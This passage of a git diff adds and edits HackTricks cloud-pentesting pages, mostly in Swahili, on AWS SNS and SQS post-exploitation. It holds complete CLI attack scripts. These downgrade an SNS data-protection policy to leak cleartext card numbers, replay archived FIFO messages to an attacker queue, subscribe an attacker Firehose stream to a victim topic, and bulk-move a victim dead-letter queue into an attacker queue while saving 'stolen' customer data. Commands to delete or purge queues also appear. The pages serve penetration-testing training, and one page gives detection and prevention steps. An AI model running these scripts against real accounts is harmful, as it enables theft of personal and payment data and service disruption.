+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+Sehemu inayotarajiwa inaonyesha kufichwa (hashes):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Punguza sera kuwa audit-only (hakuna deidentify/deny statements zinazoathiri Outbound)
+
+Kwa SNS, Audit statements lazima ziwe Inbound. Kubadilisha sera kwa Audit-only Inbound statement huondoa de-identification yoyote ya Outbound, hivyo ujumbe hufika kwa subscribers bila kubadilishwa.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Chapisha ujumbe uleule na thibitisha kwamba thamani isiyofichwa imetumwa
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+Sehemu inayotarajiwa inaonyesha CC wazi (cleartext):
+```text
+4539894458086459
+```
+## Athari
+- Kubadilisha topic kutoka de-identification/deny hadi audit-only (au kwa kuondoa Outbound controls) kunaruhusu PII/secrets kupita bila mabadiliko kwa attacker-controlled subscriptions, na hivyo kuwezesha data exfiltration ambayo vingekuwa vimefichwa au kuzuiwa.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md

@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Matumizi mabaya ya Amazon SNS FIFO topic message archiving ili kureplay na exfiltrate ujumbe zilizochapishwa awali kwenda kwenye attacker-controlled SQS FIFO queue kwa kuweka subscription `ReplayPolicy`.
+
+- Huduma: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Mahitaji: Topic lazima iwe na `ArchivePolicy` imewezeshwa (message archiving). Attacker anaweza `Subscribe` kwenye topic na `set attributes` kwenye subscription yao. Attacker anasimamia SQS FIFO queue na anaruhusu topic kutuma ujumbe.
+- Athari: Ujumbe za kihistoria (published before the subscription) zinaweza kuwasilishwa kwa attacker endpoint. Replayed deliveries zinaletwa na alama `Replayed=true` katika envelope ya SNS.
+
+## Masharti ya awali
+- SNS FIFO topic yenye uhifadhi umewezeshwa: `ArchivePolicy` (mfano, `{ "MessageRetentionPeriod": "2" }` kwa siku 2).
+- Mshambuliaji ana ruhusa za:
+- `sns:Subscribe` on the target topic.
+- `sns:SetSubscriptionAttributes` on the created subscription.
+- Mshambuliaji ana SQS FIFO queue na anaweza kuambatisha queue policy inayoruhusu `sns:SendMessage` kutoka kwa topic ARN.
+
+## Ruhusa za chini kabisa za IAM
+- Kwenye topic: `sns:Subscribe`.
+- Kwenye subscription: `sns:SetSubscriptionAttributes`.
+- Kwenye queue: `sqs:SetQueueAttributes` kwa policy, na queue policy inyoruhusu `sns:SendMessage` kutoka kwa topic ARN.
+
+## Shambulio: Replay archived messages to attacker SQS FIFO
+Mshambuliaji anasubscribe SQS FIFO queue yao kwenye mhasiriwa SNS FIFO topic, kisha anaweka `ReplayPolicy` kwa timestamp ya zamani (ndani ya dirisha la archive retention). SNS mara moja ina-replay archived messages zinazofanana kwa subscription mpya na kuzipa alama `Replayed=true`.
+
+Notes:
+- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. Ikiwa ni mapema zaidi, API itarudisha `Invalid StartingPoint value`.
+- Kwa SNS FIFO `Publish`, lazima utoe `MessageGroupId` (na ama dedup ID au wekesha `ContentBasedDeduplication`).
+
+<details>
+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Impact
+**Athari Zinazowezekana**: Mshambuliaji ambaye anaweza kujisajili kwenye SNS FIFO topic yenye archiving imewezeshwa na kuweka `ReplayPolicy` kwenye subscription yao anaweza mara moja kucheza tena na exfiltrate ujumbe wa kihistoria uliotumwa kwenye topic hiyo, si tu ujumbe uliotumwa baada subscription kuundwa. Ujumbe uliwasilishwa una jumuisha flag `Replayed=true` katika envelope ya SNS.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Matumizi mabaya ya protocol ya subscription ya Firehose ili kusajili Kinesis Data Firehose delivery stream inayodhibitiwa na mshambuliaji kwenye topic ya kawaida ya SNS ya mwathiriwa. Mara subscription itakapokuwa mahali na role ya IAM inayohitajika ikiamini `sns.amazonaws.com`, kila notification ijayo itaandikwa kwa kudumu ndani ya S3 bucket ya mshambuliaji kwa kelele ndogo sana.
+
+## Mahitaji
+- Idhini katika akaunti ya mshambuliaji za kuunda S3 bucket, Firehose delivery stream, na role ya IAM inayotumika na Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- Uwezo wa `sns:Subscribe` kwa topic ya mwathiriwa (na hiari `sns:SetSubscriptionAttributes` ikiwa subscription role ARN inatolewa baada ya kuundwa).
+- Sera ya topic inayomruhusu principal wa mshambuliaji ku-subscribe (au mshambuliaji tayari anafanya kazi ndani ya akaunti ile ile).
+
+## Attack Steps (same-account example)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Usafishaji
+- Futa subscription ya SNS, Firehose delivery stream, role/policy za IAM za muda, na S3 bucket ya mshambuliaji.
+
+## Athari
+**Athari Inayowezekana**: Uondoaji wa kudumu na unaoendelea wa kila ujumbe uliotangazwa kwenye SNS topic iliyolengwa hadi hifadhi inayodhibitiwa na mshambuliaji kwa athari ndogo za uendeshaji.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## Maelezo
+
+Abuse SQS message move tasks ili kuiba ujumbe wote uliokusanywa kutoka kwenye Dead-Letter Queue (DLQ) ya mwathiriwa kwa kuwapitisha kwenye queue inayodhibitiwa na mshambuliaji kwa kutumia `sqs:StartMessageMoveTask`. Mbinu hii inatumia kipengele halali cha AWS cha urejeshaji wa ujumbe ili kutoa data nyeti iliyokusanywa katika DLQs kwa muda.
+
+## Dead-Letter Queue (DLQ) ni nini?
+
+Dead-Letter Queue ni queue maalum ya SQS ambapo ujumbe hupelekwa moja kwa moja wakati yanashindwa kushughulikiwa kwa mafanikio na programu kuu. Ujumbe hizi zilizoshindwa mara nyingi zina:
+- Data nyeti za programu ambazo hazikuweza kushughulikiwa
+- Maelezo ya hitilafu na taarifa za debugging
+- Personal Identifiable Information (PII)
+- API tokens, credentials, au siri nyingine
+- Data muhimu za miamala ya kibiashara
+
+DLQs hufanya kazi kama "makaburi" ya ujumbe ulioshindwa, hivyo kuwa malengo yenye thamani kwani hukusanya data nyeti kwa muda ambayo programu hazikuweza kushughulikia ipasavyo.
+
+## Mfano wa Shambulio
+
+**Mfano halisi:**
+1. **Programu ya e-commerce** inash処ulia maagizo ya wateja kupitia SQS
+2. **Baadhi ya maagizo yanashindwa** (masuala ya malipo, uhaba wa bidhaa, n.k.) na huhamishwa kwenda DLQ
+3. **DLQ hukusanya** wiki/miezi ya maagizo yaliyoshindwa yenye data za wateja: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Mshambuliaji anapata ufikiaji** wa credentials za AWS zenye ruhusa za SQS
+5. **Mshambuliaji anagundua** kuwa DLQ ina maelfu ya maagizo yaliyoshindwa yenye data nyeti
+6. **Badala ya kujaribu kufikia ujumbe mmoja mmoja** (polepole na wazi), mshambuliaji anatumia `StartMessageMoveTask` kuhamisha kwa wingi UJUMBE WOTE kwenda queue yake mwenyewe
+7. **Mshambuliaji anatoa** data nyeti zote za kihistoria kwa operesheni moja
+
+## Mahitaji
+- Queue ya chanzo lazima iwe imewekwa kama DLQ (ikutajwe na angalau queue moja RedrivePolicy).
+- Ruhusa za IAM (kutendea kama principal aliyeathiriwa):
+- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
+- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Athari
+Kutoa (exfiltrate) payloads nyeti zilizokusanywa katika DLQs (matukio yaliyoshindwa, PII, tokens, payloads za programu) kwa kasi kubwa kwa kutumia APIs asilia za SQS. Inafanya kazi cross-account ikiwa sera ya destination queue inaruhusu `SendMessage` kutoka kwa victim principal.
+
+## Jinsi ya Kutumia Vibaya
+
+- Tambua ARN ya DLQ ya mwathiriwa na uhakikishe kuwa kwa kweli inatajwa kama DLQ na queue fulani (queue yoyote inatosha).
+- Tengeneza au chagua destination queue inayodhibitiwa na mshambuliaji na pata ARN yake.
+- Anzisha task ya kuhamisha ujumbe kutoka DLQ ya mwathiriwa kwenda destination queue yako.
+- Simamia maendeleo au ghairi kama inahitajika.
+
+### Mfano wa CLI: Kutoa Data za Wateja kutoka DLQ ya e-commerce
+
+**Scenario**: Mshambuliaji ameharibu credentials za AWS na ameona kuwa programu ya e-commerce inatumia SQS na DLQ yenye jaribio za usindikaji wa maagizo ya wateja yaliyoshindwa.
+
+1) **Gundua na chunguza DLQ ya mwathiriwa**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Unda destination queue inayodhibitiwa na muvamizi**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Tekeleza uiba wa ujumbe kwa wingi**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Vuna data nyeti iliyodukuliwa**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Vidokezo vya cross-account
+- Queue ya lengo lazima iwe na sera ya rasilimali inayomruhusu mhusika wa mwathirika kutumia `sqs:SendMessage` (na, endapo zinatumika, grants/permissions za KMS).
+
+## Kwa Nini Shambulio Hili Linafanya Kazi
+
+1. **Sifa halali ya AWS**: Inatumia uwezo uliomo ndani ya AWS, ikifanya iwe ngumu kugundua kama ni kitendo chenye nia mbaya
+2. **Operesheni kwa wingi**: Inahamisha maelfu ya ujumbe haraka badala ya ufikiaji wa taratibu kwa ujumbe mmoja mmoja
+3. **Historical Data**: DLQs hukusanya data nyeti kwa wiki/miezi
+4. **Isiyofuatiliwa**: Mashirika mengi hayafuatilii kwa karibu ufikiaji wa DLQ
+5. **Uwezo wa Cross-Account**: Inaweza exfiltrate kwenye akaunti ya AWS ya mshambulizi ikiwa ruhusa zinaruhusu
+
+## Ugunduzi na Kuzuia
+
+### Ugunduzi
+Fuatilia CloudTrail kwa maombi ya API ya `StartMessageMoveTask` yenye shaka:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Kuzuia
+1. **Idhini Ndogo (Least Privilege)**: Punguza ruhusa za `sqs:StartMessageMoveTask` kwa majukumu yanayohitajika tu
+2. **Fuatilia DLQs**: Weka alarms za CloudWatch kwa shughuli zisizo za kawaida za DLQ
+3. **Sera za ufikiaji wa akaunti nyingine**: Kagua kwa umakini SQS queue policies zinazoruhusu ufikiaji wa akaunti nyingine
+4. **Fichua DLQs**: Tumia SSE-KMS na sera za funguo zilizopunguzwa
+5. **Usafishaji wa Mara kwa Mara**: Usiruhusu data nyeti kujikusanya katika DLQs kwa muda usio na kikomo

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -1,73 +0,0 @@
-# AWS - SQS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye foleni ya SQS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Madhara Yanayoweza Kutokea**: Ukatili wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Mshambuliaji anaweza kupokea, kufuta, au kubadilisha mwonekano wa ujumbe katika foleni ya SQS, na kusababisha kupotea kwa ujumbe, uharibifu wa data, au usumbufu wa huduma kwa programu zinazotegemea ujumbe hao.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathirika.
-
-### `sqs:DeleteQueue`
-
-Mshambuliaji anaweza kufuta foleni nzima ya SQS, na kusababisha kupoteza ujumbe na kuathiri programu zinazotegemea foleni hiyo.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Madhara Yanayoweza Kutokea**: Kupotea kwa ujumbe na usumbufu wa huduma kwa programu zinazotumia foleni iliyofutwa.
-
-### `sqs:PurgeQueue`
-
-Mshambuliaji anaweza kufuta ujumbe wote kutoka kwa foleni ya SQS, na kusababisha kupotea kwa ujumbe na usumbufu wa programu zinazotegemea ujumbe hao.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Madhara Yanayoweza Kutokea**: Kupotea kwa ujumbe na usumbufu wa huduma kwa programu zinazotegemea ujumbe ulioondolewa.
-
-### `sqs:SetQueueAttributes`
-
-Mshambuliaji anaweza kubadilisha sifa za foleni ya SQS, ambayo inaweza kuathiri utendaji wake, usalama, au upatikanaji.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Madhara Yanayoweza Kutokea**: Makosa ya usanidi yanayosababisha kupungua kwa utendaji, matatizo ya usalama, au kupungua kwa upatikanaji.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za SQS, akiharibu mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
-
-### `sqs:RemovePermission`
-
-Mshambuliaji anaweza kubatilisha ruhusa za watumiaji halali au huduma kwa kuondoa sera zinazohusiana na foleni ya SQS. Hii inaweza kusababisha kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni hiyo.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni kutokana na kuondolewa kwa ruhusa zisizoidhinishwa. 
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md

@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+attacker anaweza kutuma ujumbe hatari au usiotakiwa kwa SQS queue, ambacho kinaweza kusababisha uharibifu wa data, kusababisha vitendo visivyotarajiwa, au kusababisha rasilimali kuisha.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Athari Inayoweza Kutokea**: Vulnerability exploitation, uharibifu wa data, vitendo visivyotarajiwa, au utumiaji kupita kiasi wa rasilimali.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+attacker anaweza kupokea, kufuta, au kubadilisha uwonekano wa ujumbe katika SQS queue, na kusababisha upotevu wa ujumbe, uharibifu wa data, au kusumbua huduma kwa programu zinazotegemea ujumbe hizo.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Athari Inayowezekana**: Kuiba taarifa nyeti, kupotea kwa ujumbe, uharibifu wa data, na kuingiliwa kwa huduma kwa programu zinazotegemea ujumumbe uliyoathiriwa.
+
+### `sqs:DeleteQueue`
+
+Mshambuliaji anaweza kufuta SQS queue yote, kusababisha kupotea kwa ujumbe na kuathiri programu zinazotegemea queue hiyo.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Potential Impact**: Kupoteza ujumbe na kusababisha kusitishwa kwa huduma kwa programu zinazotumia queue iliyofutwa.
+
+### `sqs:PurgeQueue`
+
+Mshambuliaji anaweza kufuta ujumbe yote kutoka kwenye SQS queue, na kusababisha kupoteza ujumbe na usumbufu kwa programu zinazotegemea ujumbe hayo.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Potential Impact**: Upotevu wa ujumbe na usumbufu wa huduma kwa programu zinazotegemea ujumbe uliyoondolewa kabisa.
+
+### `sqs:SetQueueAttributes`
+
+Mshambuliaji anaweza kubadilisha sifa za foleni ya SQS, jambo ambalo linaweza kuathiri utendaji wake, usalama, au upatikana wake.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Athari Inayoweza Kutokea**: Usanidi mbaya unaosababisha utendaji uliodhoofishwa, masuala ya usalama, au upungufu wa upatikanaji.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa tags kutoka kwa rasilimali za SQS, akivuruga ugawaji wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa upatikanaji zinazoegemea tags.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Madhara Yanayowezekana**: Kukatizwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa upatikanaji zinazotegemea tag.
+
+### `sqs:RemovePermission`
+
+Mshambuliaji anaweza kufuta ruhusa za watumiaji halali au huduma kwa kuondoa sera zinazohusishwa na SQS queue. Hii inaweza kusababisha matatizo katika utendakazi wa kawaida wa programu zinazotegemea queue.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Athari Inayowezekana**: Kukatizwa kwa uendeshaji wa kawaida wa programu zinazotegemea safu kutokana na kuondolewa kwa ruhusa bila idhini.
+
+### Mbinu Zaidi za SQS Post-Exploitation
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Description
+
